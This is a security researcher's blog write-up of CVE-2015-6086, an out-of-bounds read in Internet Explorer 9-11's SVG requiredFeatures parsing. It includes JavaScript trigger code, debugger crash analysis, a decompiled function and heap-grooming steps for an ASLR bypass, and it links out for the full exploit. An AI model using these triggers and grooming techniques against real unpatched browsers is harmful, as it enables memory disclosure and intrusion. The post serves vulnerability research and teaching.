From Crash to Exploit: CVE-2015-6086 – Out of Bound Read/ASLR Bypass

Introduction

This is a story of an Out of Bound Read bug in Internet Explorer 9-11. This is almost 5 years old bug which got discovered in April 2015. It is a very interesting bug, at least from my perspective, because it was rejected almost 4-5 times by Zero Day Initiative (ZDI) stating that it’s not exploitable.

My SVG fuzzer was hitting a crash continuously, at first, the bug looked like usual Use after Free as it was trying to read Invalid Memory. But after triaging it turned out to be Out of Bound Read bug. I submitted this bug to ZDI and they rejected it at first stating that they are not able to reproduce it. Later they rejected saying it’s not exploitable even after showing them that this bug is exploitable. I do consulting work too, so I was busy with some other projects. After 3-4 months, I got time to look into the bug again as I firmly believed that this is an exploitable bug.

Crash

The vulnerability trigger is relatively simple.

function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
}

Note: We need to enable Page Heaps and Application Verifier for the crash to occur.

 

gflags

app-verifier

 

(778.18c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c0c0 ebx=00000005 ecx=00000000 edx=00000006 esi=0737f000 edi=0000002c
eip=64c305d4 esp=060faf08 ebp=060faf24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CDOMStringDataList::InitFromString+0x4b:
64c305d4 0fb706          movzx   eax,word ptr [esi]       ds:0023:0737f000=????

As you can see that the Read Access Violation has occurred when it tried to de-reference an Invalid Memory.

Crash Analysis

Now, let’s find out what ESI register points to.

0:007> dc @esi
0737f000  ???????? ???????? ???????? ????????  ????????????????
0737f010  ???????? ???????? ???????? ????????  ????????????????
0737f020  ???????? ???????? ???????? ????????  ????????????????
0737f030  ???????? ???????? ???????? ????????  ????????????????
0737f040  ???????? ???????? ???????? ????????  ????????????????
0737f050  ???????? ???????? ???????? ????????  ????????????????
0737f060  ???????? ???????? ???????? ????????  ????????????????
0737f070  ???????? ???????? ???????? ????????  ????????????????

Nice, ESI seems to hold reference of either freed memory or unmapped memory. Let’s try to find out by executing !heap -p -a <address>.

0:007> !heap -p -a @esi
    address 0737f000 found in
    _DPH_HEAP_ROOT @ 161000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 73c1f70:          737eff0               10 -          737e000             2000
    6f4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77895ede ntdll!RtlDebugAllocateHeap+0x00000030
    7785a40a ntdll!RtlpAllocateHeap+0x000000c4
    77825ae0 ntdll!RtlAllocateHeap+0x0000023a
    76afea43 ole32!CRetailMalloc_Alloc+0x00000016
    76f44557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060
    76f4476a OLEAUT32!SysAllocStringByteLen+0x0000003d
    76f447bf OLEAUT32!ErrStringCopyNoNull+0x00000016
    76f45dda OLEAUT32!VariantChangeTypeEx+0x00000a19
    63e871b6 MSHTML!VariantChangeTypeSpecial+0x00000093
    63f8581c MSHTML!CElement::SetAttributeFromPropDesc+0x00000069
    63f857c3 MSHTML!CElement::ie9_setAttributeNSInternal+0x000003b0
    64334301 MSHTML!CElement::setAttributeNS_Helper+0x00000069
    6474d0fb MSHTML!CElement::Var_setAttributeNS+0x0000014a
    64a65d9c MSHTML!CFastDOM::CElement::Trampoline_setAttributeNS+0x0000003c
    63580fb6 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000018e
    6357ed52 jscript9!Js::InterpreterStackFrame::Process+0x00001e72
    6357f499 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200

Sad, this is not a Use after Free vulnerability. Let’s dump the UserAddr and see what it holds.

0:007> dc 737eff0
0737eff0  00000002 0000000a c0c0c0c0 c0c0c0c0  ................
0737f000  ???????? ???????? ???????? ????????  ????????????????
0737f010  ???????? ???????? ???????? ????????  ????????????????
0737f020  ???????? ???????? ???????? ????????  ????????????????
0737f030  ???????? ???????? ???????? ????????  ????????????????
0737f040  ???????? ???????? ???????? ????????  ????????????????
0737f050  ???????? ???????? ???????? ????????  ????????????????
0737f060  ???????? ???????? ???????? ????????  ????????????????

I don’t know if you noticed or not, 737eff0 holds an interesting value, i.e. 0000000a which corresponds to \n. Also note that this allocation was done by OLEAUT32 which allocates memory in OLEAUT32 Cached Heap.

So, the next obvious thing to do was to try looking at the MSHTML!CDOMStringDataList::InitFromString function in IDA Pro and understand what’s happening.

 

initfromstring-function-graph

 

I invested some time to reverse engineer this particular function code.

HRESULT __thiscall CDOMStringDataList::InitFromString(CDOMStringDataList *this, LPCWSTR lpCWStr)
{
  SIZE_T strLen; // Used in different places differently
  HRESULT hResult;
  PWCHAR pCurChar;
  CStr *pCStr;
  PWCHAR pCurString;
  CDOMStringDataList *pCDOMStringDataList;
  int outString;

  strLen = 0;
  pCDOMStringDataList = this;
  hResult = S_OK;
  CDOMStringDataList::Clear(this);
  pCurChar = (PWCHAR)lpCWStr;
  while ( *pCurChar != (_WORD)strLen )
  {
    // Trim white spaces
    while ( IsCharSpaceW(*pCurChar) )
      ++pCurChar;
    // Bail out if string starts with comma
    if ( *pCurChar == ',' )
      return E_FAIL;
    pCurString = pCurChar;
    do
    {
      ++pCurChar;
      ++strLen;
    }
    while ( !IsCharSpaceW(*pCurChar) && *pCurChar != ',' && *pCurChar );
    outString = NULL;
    hResult = CImplAry::AppendIndirect<4>(pCDOMStringDataList, &outString, &pCStr);
    if ( hResult < 0 || (hResult = CStr::Set(pCStr, (LPVOID)strLen, pCurString, strLen, 1), hResult < 0) )
    {
      CStr::_Free((CStr *)&outString);
      return hResult;
    }
    while ( IsCharSpaceW(*pCurChar) )
      ++pCurChar;
    if ( *pCurChar == ',' )
      ++pCurChar;
    CStr::_Free((CStr *)&outString);
    strLen = 0;
  }
  return hResult;
}

Note: Do not always belive in the disassembly produced by IDA Pro. Verify it manually by reading the Assembly code.

If you look closely at the function, you will be able to see the bug. So, the bug is improper handling of new line ("\n") and white space character (" "). Due to this bug, it skips over and reads past the NULL terminator.

As, the attribute string is stored in the Heap, we need to carefully craft the adjacent Heap chunk to exploit this issue. But for now, let’s find out if the string is stored on the Process Heap or Isolated Heap.

Let’s dump the Process Heap and Isolated Heap handle.

0:007> ? poi(MSHTML!g_hProcessHeap)
Evaluate expression: 1441792 = 00160000

0:007> ? poi(MSHTML!g_hIsolatedHeap)
Evaluate expression: 104857600 = 06400000

If you look at the _DPH_HEAP_ROOT value from the !heap -p -a output you will see that _DPH_HEAP_ROOT @ 161000. We can conclude that requiredFeatures attribute is stored in Process Heap instead of Isolated Heap.

Recap

  • Out of Bound Read vulnerability while setting requiredFeatures attribute value
  • requiredFeatures attribute is stored in the Process Heap
  • requiredFeatures attribute is cached
  • requiredFeatures attribute size can be dynamic

Now, let’s play more with the trigger PoC and try to set the requiredFeatures attribute to \n\n\n\n\n\n\n\n\n and examine the memory.

function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', '\n\n\n\n\n\n\n\n\n');
}

Before launching the PoC, let’s put a break point on MSHTML!CDOMStringDataList::InitFromString. When the breakpoint is hit, we will examine the memory pointed by ESI register.

Note: Disable Page Heaps and Application Verifier, we do not need them now.

0:007> dc @esi L7
00569634  000a000a 000a000a 000a000a 000a000a  ................
00569644  0000000a f4b352f6 00000000           .....R......

If you see the dump of the Heap chunk of requiredFeatures attribute carefully, you will notice that there are nine \n which is the same as what we tried to set in the PoC. But notice f4b352f6, where did this came from?

This is the padding added to the attribute value if the length is not aligned properly.

Next, we need to find a way to read the value of the requiredFeatures attribute. Looking at the Mozilla Developer Network page for SVGStringList interface, I came to know that we can read the attribute value using getItem(in unsigned long index).

Cool, let’s modify our PoC and try to read the value of requiredFeatures attribute.

function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', "Ashfaq\nAnsari");

    var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";

    for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
        message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\n";
    }

    alert(message);
}

 

read-getitem

 

Great, this confirms that we can read requiredFeatures attribute value using getItem(in unsigned long index).

Exploitation Strategy

  • Defragment the Process Heap using object of the desired size
  • Make holes in the allocation
  • Re-allocate the holes with requiredFeatures attribute
  • Trigger the vulnerability and read the Out of Bound memory
  • As the browser does not crash when the vulnerability is triggered, we can try until we succeed

Exploitation Challenges

  • Find a size in which padding does not get appended
  • Find an object of the relevant size which gets stored in the Process Heap
  • requiredFeatures attribute is cached
  • Memory Protector is enabled by default
  • NULL terminator in the adjacent Heap chunk’s _HEAP_ENTRY structure will kill the exploit attempt

Exploitation

Now, we know the strategy and the challenges to exploit this bug. First, let’s try to find a size where the padding does not get appeneded.

After trying different lengths of requiredFeatures attribute, finally, I found that, if the size is 0x0A0, then there will be no padding appened to the attribute value.

Note: Keep in mind that the value of requiredFeatures attribute is stored as BSTR).

Now, it’s time to find an object of size 0x0A0 which is stored in the Process Heap. After spending some time in IDA Pro, I found CDOMMSGestureEvent element whose size is 0x0A0 and is stored in the Process Heap.

 

msgeture-event

 

Note: MSGestureEvent is not supported in Internet Explorer 9. You need to use different element.

Another challenge faced during the exploitation of this bug was that requiredFeatures attribute is cached and stored in OLEAUT32 Cached Heap. I tried Alexander Sotirov’s Plunger technique, but it did not work well for me. But, after experimenting, I found that a single trick can bypass this behaviour.

for (i = 0; i < 0x50; i++) {
    polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    // Trick to bypass allocation on OLEAUT32 Cached Heap
    polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString("A", 0x0A0));
    polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString("\n", 0x0A0));
}

Now, let’s deal with Memory Protector which is another hurdle in the exploitation phase. There are really good papers on Memory Protector which can be found in the references section.

In simple terms the objects protected by Memory Protector won’t be freed directly. Instead, they will be put into a wait list which will be freed when it reaches certain threshold (i.e 100,000 bytes) and there are no references of the freed memory on the Stack.

Finally, our last hurdle is the NULL bytes in the _HEAP_ENTRY structure of the Heap chunk which we want to read using this Out of Bound Read bug. I’m still tying to figure out why some Heap chunk have NULL bytes and some do not, even when they are of the same size. If you have the answer, please do let me know.

Final Exploit

I have started a series of workshops on From Crash to Exploit at null - The Open Security Community. I already took the first workshop where I discussed the very same bug.

The exploit and other materials for this bug can be found at the below given Github repository.

github_logo-300x300

This is just the BEGINNING, not the END.

Author

Ashfaq Ansari is working as Sr. Security Researcher at Payatu Technologies where he spends time experimenting and understanding different attack vectors to exploit Windows User Mode as well as Kernel Mode vulnerabilities. He likes fuzzing and a fanboy of machine learning. He is a computer enthusiast and tries to learn new things.

Ashfaq Ansari

ashfaq[at]payatu[dot]com

@HackSysTeam | Blog | null | Github

Payatu Technologies
http://payatu.com/

References

Comments ( 5 )

  1. This is the best writeup that I have ever read, covering your process at every step along your way to discovery and exploit. Good attribution and links too. Many thanks for creating this.

  2. How did you find that MSHTML!CDOMStringDataList::InitFromString is vulnerable function? Its not listed in stack trace here.

    • admin_payatu
      says:

      Hi Sunil,

      If you look at the crash log, you will see that the crash occurred in MSHTML!CDOMStringDataList::InitFromString. After brief crash analysis, it was clear that the faulty function is indeed MSHTML!CDOMStringDataList::InitFromString. Hope this helps.

      Thanks.

Leave a Reply

Your email address will not be published. Required fields are marked *

eighteen + 2 =